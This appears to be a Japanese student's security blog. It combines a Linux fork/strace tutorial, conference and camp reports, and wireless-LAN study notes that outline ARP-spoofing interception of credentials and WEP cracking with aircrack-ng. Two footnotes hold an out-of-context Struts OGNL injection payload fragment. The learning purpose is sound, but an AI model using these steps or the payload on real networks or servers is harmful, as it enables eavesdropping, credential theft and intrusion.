xn16h7 27445 0.0 0.3 37364 3244 pts/2 R+ 06:55 0:00 ps aux

多くのプロセスが起動していました。

上記のPIDはプロセスごとに個別のIDが与えられOSがプロセスを管理するのに使用します。

プログラム上でプロセスIDを取得するにはgetpid関数を用います。

@ubuntu:~$ cat pid-ppid.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
pid_t pid;
pid_t ppid;

pid = getpid();
ppid = getppid();


printf("PID:%d\n", pid);
printf("PPID:%d\n", ppid);

return 0;
}

@ubuntu:~$ gcc -o pid-ppid pid-ppid.c


@ubuntu:~$ ./pid-ppid
PID:3770
PPID:2346


子プロセス3770
親プロセス2346だと分かりました。

親プロセスの親プロセスを見てみます。
@ubuntu:~$ ps aux | grep 2346
2346 0.0 0.4 22588 4900 pts/17 Ss 04:54 0:00 bash
親プロセスはbashとなっていました。

これに関して調べてみたところ。

Linuxのプロセスは必ず親プロセスからforkした子プロセスとして生成され

ログインshellから実行したプロセスはログインshellのプロセスからforkします。

親プロセスを持たないプロセスもありそれは、プロセスIDが1のinitプロセスです。

@ubuntu:~$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.4 185188 4720 ? Ss 04:53 0:05 /sbin/init auto noprompt

Linuxを起動するとカーネルは最初にinitを起動します。その他のプロセスは上記のPID1にあたる部分からforkして起動していきます。

以上のことが分かりました。

pstreeコマンドでinitを起点としたプロセスの関係をツリー形式で表示させることができるので。

コマンドを実行していきます。

@ubuntu:~$ pstree

systemd─┬─ModemManager─┬─{gdbus}
│ └─{gmain}
(省略)

私のubuntuの環境ではsystemdから始まっていることが分かりました。

initではありませんでした。

DebianUbuntuがsystemdに移行することを公表しているようです。

systemdは従来のinitの代替で、高速なシステム起動・終了、様々なシステム管理機能の提供を行うもので、仕組みなどはinitとは大きく異なります。

これまでshellscriptで行っていた処理を新たに作成し処理の並列化を行うことで処理の高速化を
実現しています。

次にforkを使ったHelloWorld出力プログラムを作り実行していきます。

@ubuntu:~$ cat forkHelloWorld.c
#include<stdio.h>

int main(void)
{

fork();
fork();
printf("hello world\n");

return 0;

}


@ubuntu:~$./forkHelloWorld
hello world
hello world
hello world
hello world

fork()を使ったことによって4回表示されたので

forkの数を増やしてみます。

@ubuntu:~$ cat forkHelloWorld2.c
#include<stdio.h>

int main(void)
{

fork();
fork();
fork();
printf("hello world\n");

return 0;

}

の場合は8回表示されました。

このことからfork()一つに付きプロセスが2倍になっていると分かります。

forkはプロセス生成のシステムコールでプロセスをコピーすることで生成するので
コピー先でprintfがさらに実行されているためです。

プロセスをコピーするのでPIDが同じになってしまわないのだろうか思いましたが。
コピー元とコピー先のPIDは別々のものになります。


次にstraceコマンドを使ってシステムコールを追ってみます。

@ubuntu:~$ strace ./forkHelloWorld2

execve("./forkHelloWorld2", ["./forkHelloWorld2"], [/* 62 vars */]) = 0
brk(NULL) = 0x144c000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc508d81000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=98529, ...}) = 0
mmap(NULL, 98529, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fc508d68000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\t\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1864888, ...}) = 0
mmap(NULL, 3967392, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fc508795000
mprotect(0x7fc508954000, 2097152, PROT_NONE) = 0
mmap(0x7fc508b54000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1bf000) = 0x7fc508b54000
mmap(0x7fc508b5a000, 14752, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fc508b5a000
close(3) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc508d67000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc508d66000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc508d65000
arch_prctl(ARCH_SET_FS, 0x7fc508d66700) = 0
mprotect(0x7fc508b54000, 16384, PROT_READ) = 0
mprotect(0x600000, 4096, PROT_READ) = 0
mprotect(0x7fc508d83000, 4096, PROT_READ) = 0
munmap(0x7fc508d68000, 98529) = 0
clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fc508d669d0) = 28700
clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fc508d669d0) = 28701
clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fc508d669d0) = 28702
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
brk(NULL) = 0x144c000
brk(0x146d000) = 0x146d000
write(1, "hello world\n", 12hello world
) = 12
exit_group(0) = ?
+++ exited with 0 +++

上記の出力がありました。

execveによって指定されたプログラムを実行しています。

open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
などでファイルが開かれています。

そしてmmapがファイルをメモリにマッピングしています。

その他にprintfを使用したので最後に画面にデータを出力するためにwriteというシステムコールが使用されていることが分かります。

以上が分かったことです。

*1:#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class

*2:#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class

メモ 無線LAN

学校で無線LAN脆弱性をテーマに調べていくことになったのでメモ

環境用意したもの

・kalilinux

・ubuntu16.04LTS

・win10

・モニターモード対応無線LANアダプタ

 ・D-link DWA-182 Revision A1 a/g/n/ac アクリル用

ツール 

・NightHawk

wireshark

Acrylic WiFi Professional

・Aircrack-ng

 

arpspoofing:ARPプロトコル応答を偽装してLAN上で通信機器のなりすましを行う技法

これを悪用すると中間者攻撃ができる。

中間者攻撃 - Wikipedia

 

 

NightHawkを使ってarpspoofingを行った。arpspoofのほうが良い気がした。

起動した後Enable advanced modeをクリックして

ARP tools からScan networkを押して

上枠にtarget

下枠にdefaultgatewayを指定

 Start ARP spoofingを押すと開始される。

 

wireshark

流れてきた通信を見るとDNSでどんなサイトにアクセスしているのかわかる。

POST 送信処理 入力したIDやパスワード情報

GET 受信処理 

Length データサイズ 大きい場合ファイルを送信していると考えられる。

 

f:id:xn16h7:20170213214707p:plain

 

 

無線LAN傍受

D-link DWA-182 Revision A1 a/g/n/ac

モニターモードにしてキャプチャ

 linuxでキャプチャする場合は

Aircrack-ngを使ってWEPの解析が容易にできる

WEPキークラックの方法 – Kali Linuix

 

 無線LANアダプタのモードに関して

インフラストラクチャーモード 普通の通信

アドホックモード すれ違い通信とか

この辺はゲームでもよく使われる

・モニターモード パケットの監視

・マスターモード アクセスポイント

・プロミスキャスモード 同一ネットワーク内を流れるすべてのパケットを受信して読み込む

.

モニターモードにするコマンド

# iwconfig wlan0 mode Monitor

# airmon-ng start wlan0

とか色々方法がある

 

wireshark

無線LANではデータリンク層が出てくるのでBSSIDで絞り込むのが良い

「wlan.bssid == MACアドレス」指定したBSSIDパケットを表示

「wlan.fc.prtected == 0」暗号化されていないパケットを表示

ビーコンに関しては暗号化が施されていてもSSIDは平文で送られている。

普通のパケットはType2

有線LANとの違いとして無線LANは802.11ヘッダが付いている。

ビーコンに関してはType0

 

typeに関しては

マネジメントフレーム type0

コントロールフレーム type1

データフレーム type2

となっている。

Flags 無線LANパケットの状態

SSID 混信を避けるために付けられる名前

supported rates APがサポートしているスループットのレート、プロトコル

BSSID APのMACアドレス

 

 

手順

airodump-ngでAPを確認

ターゲットのAPをairodump-ngでパケットを収集

収集したパケットを使いaircrack-ngでWEPを突破

 

・Wired Equivalent Privacy(直訳すると有線同等機密、通称WEP)は、IEEE 802.11無線ネットワークのセキュリティのためのアルゴリズム。 無線ネットワークは電波を使ってメッセージを放送するようなもので、有線ネットワークに比べて盗聴が容易である。

 

・WPAとはWiFi Allianceが2002年10月に発表した無線LAN暗号方式の規格。

 

・WPA2-psk(AES)

PSK: pre-Shared Key 事前共有鍵

通信を暗号化する際に暗号鍵を事前に別の手段で交換して共有しておく。

 

 

CODEBLUE学生スタッフ

 

10/19〜10/21の3日間CODEBLUE学生スタッフをしてきました。

codeblue.jp

 

1日目

到着して他の学生スタッフと名刺交換をしました。

プロがいっぱいいて、怖かったです。

 

ステッカーと名札とバッジを、貰いました。

 

f:id:xn16h7:20161019223539j:plain

スポンサー企業の方の紹介と私たちの自己紹介があり。

コミュニケーションを取るための簡易的なパーティーのようなものが行われました。

 

そのあと各自で、名札を作ったりケーブルを作ったり何かを運んだり、同時通訳の機器の準備などを手伝いました。

 

刺激を受けた気がした初日でした。

 

2日目 ボランティア

集合時間は7時でした。

 

やった内容はドアキーパー、誘導、同通レシーバー回収です。

 

f:id:xn16h7:20161022023217j:plain

とりあえず初日に見たかった講演は

マルウェア関連とカーネルや低層の内容なので作業日でしたが多少見れてよかったと思います!

 

3日目 

フリーでした。

とりあえず出展ブースみてAVRマイコン使ってpythonで動かしてるの見たり。

資料とかステッカー貰ってました

f:id:xn16h7:20161022023603j:plain

 

コンテストも行っていたようで、参加賞がドローンでした。

ドローンうらやまw

 

講演に関してはマルウェアに関する話がかなり聴けたのでよかったです。

ほとんどトラック1の講演を見たと思います。

作業もなく落ち着いて講演を見ることができました。

 

ATMやオンランバンキングの犯罪の手口なども知ることができました。

ATMの中身を見たのは初めてだったので見れてよかったです。

 

一番印象に残っているのは

私のモデムに誰がバックドアを仕掛けたのか?ですかねw

自分の機器を燃やすwとか

自分の機器をファジングしてめちゃく○にするwとか

質問する際フルネームで名乗ってくださいデスノートがあるからとか

笑えましたw

これを機に私も通信機器の解析をしてみようと思います。

 

講演の後はネットワーキングパーティーでかなり大規模でした。

ステージで学生スタッフの撮影があった後

まっちゃさんツアーについていき業界の強い方たちと名刺交換やお話をしました。

参加してなかったら会えることもなかっただろうと思うので良い経験ができました。

名刺交換してくださった方、今後ともよろしくお願いします。

 

後は海外の方に名刺を渡したり、ドイツの大学生にguten Morgenって挨拶したり出来ましたww

 

業界の方とマルウェアだったり、セキュリティについての話もできてとても楽しかったです。

 こんな感じでしたw

 

そのあと学生スタッフとCODEBULEの方達と猪木のコンセプト居酒屋のようなお店に行きました。

全員分負担してくださったのでかなり高額な気がします。

ごちそうさまです!

f:id:xn16h7:20161022022624j:plain

 

 自分は終電で途中で抜けて帰ってきました。

三日間ありがとうございました。

まとめるとプロがたくさんいて怖かったです。

機会があればまたよろしくお願いします。

セキュリティミニキャンプ in 山梨 2日目

2日目 専門講座

ホテルで朝食をとって会場の山梨大学へ向かいました。暑かったです。

9:30受付開始だったのですが9:00に入っていく学生がいたので雨が降ってたこともあり自分も受付のほうに行くことにしました。

早かったらしく上の階で座ってていいよーと案内されそこにいた学生さんたちと名刺交換したりしていました。

 

 会場の様子です

 

午前の最初の講義がマイスター坂井弘亮さんによる

・パケット工作で知るネットワークの仕組み

でした。

 

パケットを見たりいじったりしました。pkttoolsというものを使用したのですがネットワークに関してはwireshark以外ほぼ触れたことがなかったので不安でしたw

コマンドライン上で動くほうがスクリプト書いたりできるから便利って強い人が言ってた気がします。

binaryが多少読めるようになったのと工作の経験ができたので復習していろいろやってみたいと思います。

 

お昼です

残さず食べれたのでおいしくいただきました!

この時間に運営の方ともお話できました

そのあと空いた時間にいろんな方と名刺交換をしました。

全員とはする時間がなかったのですが、

運営の方含め多くの方と交換できてよかったです。今後とも宜しくお願いします!

午後は

今岡通博さんによる

・AVRマイコンのGPIOで10BASE-Tフレームを生成する

でした。

 

ケーブルの自作から始まりましたw

経験ないですが半田付けとか改造とかオーバークロックとかこういう工作みたいなの好きですよw

作ったケーブルをつけて

Arduinoにプログラムを書き込んでそれをキャプチャしました。

Ethernetの規格に沿ったフレームしか出せないのですが。GPIOを用いて逸脱したフレームを送信できるのでやってみようというもので、少し難しい部分もありましたが楽しかったです。復習が必要ですw

特にFCS プリアンブルに関しては知識として頭に入れたい

格言in山梨

下位層が上位層を騙すことはできても

下位層は上位層に騙されることはない

 

今回の講義でやったことでどんな問題があるのかどんな攻撃ができてしまうのかといったことがよくわかりました。

例えばman in the middleがどういう攻撃なのかという知識は持っていましたが実際にどうやるのかみたいなことは知らなかったので、こういった技術を使うということが分かりより知識が深まりました。

 

低レイヤー楽しかったです!!いままで手を出していなかったところですが面白さもわかったので、少数の分野にこだわるのではなくて幅広く学んでいきたいです。

貴重な場をありがとうございました。全国行きたいです。

 

 

 宿泊費、交通費と非常に高くて移動時間も非常に長くて睡眠時間は非常に短かったです。ありがとうございました。

セキュリティミニキャンプ in 山梨 1日目

専門講座の開始時刻が早かったため始発で行っても間に合わなくね?ってことで

一般講座も参加してきました。4時起きでした。

 

 

1日目一般講座

12:30から受付開始だったのですが10時過ぎには山梨大学には到着して近くのローソンでご飯食べながら時間潰してました。

 

13:00~ 開会あいさつ 

講演1情報情報セキュリティ10大脅威2016

ランサムウェアとか流行した攻撃の推移だとか脅威また、その対策についての話でした。

 

 

講演2サイバー犯罪の現状と対策

 

実際にあった犯罪だとか、対策なんかを話していました。

個人的に検挙数というところで以前ニュースになったりしてるのはごく少数で実はかなりの数検挙されてますからねと某勉強会で聴いたことがあって。どれくらいなのか気になっていたので、今回うれしい情報でしたw

H23 5741

H24 7334

H25 8113

H26 7905

H27 8096

だそうです。

あとは防衛省サイバー空間防衛隊とか

今回のサイバー犯罪捜査官とかコンピューター犯罪なんちゃらかんちゃらみたいなものに興味を持っていて、

後者だけですが、実際にどんなことをしているのかなんとなく話を聞けて良かったです!

講演3サイバー攻撃に打ち勝つ実践力のある人材の育成等、情報セキュリティの取り組み

 

富士通の方の講演でどのような取り組みを行っているのかどういった会社なのかみたいな話をしていたと思う。

個人的にセキュリティベンダー以外にもかなりセキュリティに力を入れている企業が

マイクロソフトGoogleみたいなところ以外にもいろいろあると知れてよかったです。

特にセキュリティに携わる仕事をかなり細分化してペンテスターやセキュリティアナリスト、フォレンジック、など非常に多くの分野を見ることができてセキュリティに対する視野が広がったと思いました。

講演4 そうだ!セキュリティキャンプに行こう

 

 

セキュリティキャンプ全国大会に関して講義の説明だとか応募用紙、講師陣、意義などの説明を聴いた。

次回は何としても合格したいやつ。

 

1日目終了です。

ついでで参加した一般講座ですが、知っている内容でも、思っていたより得るものもあって満足でした。

モチベーションが多少なりとも上がったし、今後参加するcodeblueの学生スタッフやインターンなどでも得られるものがかなりあるのではないかと今から期待していて、参加するのがとても楽しみです!

 

明日は専門講座なので頑張るw

セキュリティミニキャンプ in 山梨 2日目 - xn16h7’s diary

SANS NETWARS 2016 行ってきました。

8/19~8/20の2日間行われました。

 

詳しい内容は公開してはいけないそうですが

初日にトレーニングを受け

夜懇親会を行いました。

手はついて行けたのですが見様見真似な部分もあって勉強不足だなぁと思いました。

懇親会では名刺持っていってもっと積極的に話しかければよかったなと思いましたw

 

2日目はトーナメントでした。

CTFの内容も公開してはいけないようです。

ぶっ続けで1日やったのですがあっという間に時間が過ぎましたw

 

全員にポロシャツ、メモ帳、ステッカー、ボールペン、夕食やお昼、その他もろもろ配布し、会場の用意などすべて無料で行っていただいた、NRISECUREさんには感謝です。

とても良い経験ができました。

全体的に自分のレベルの低さを感じたのでもっと頑張ります。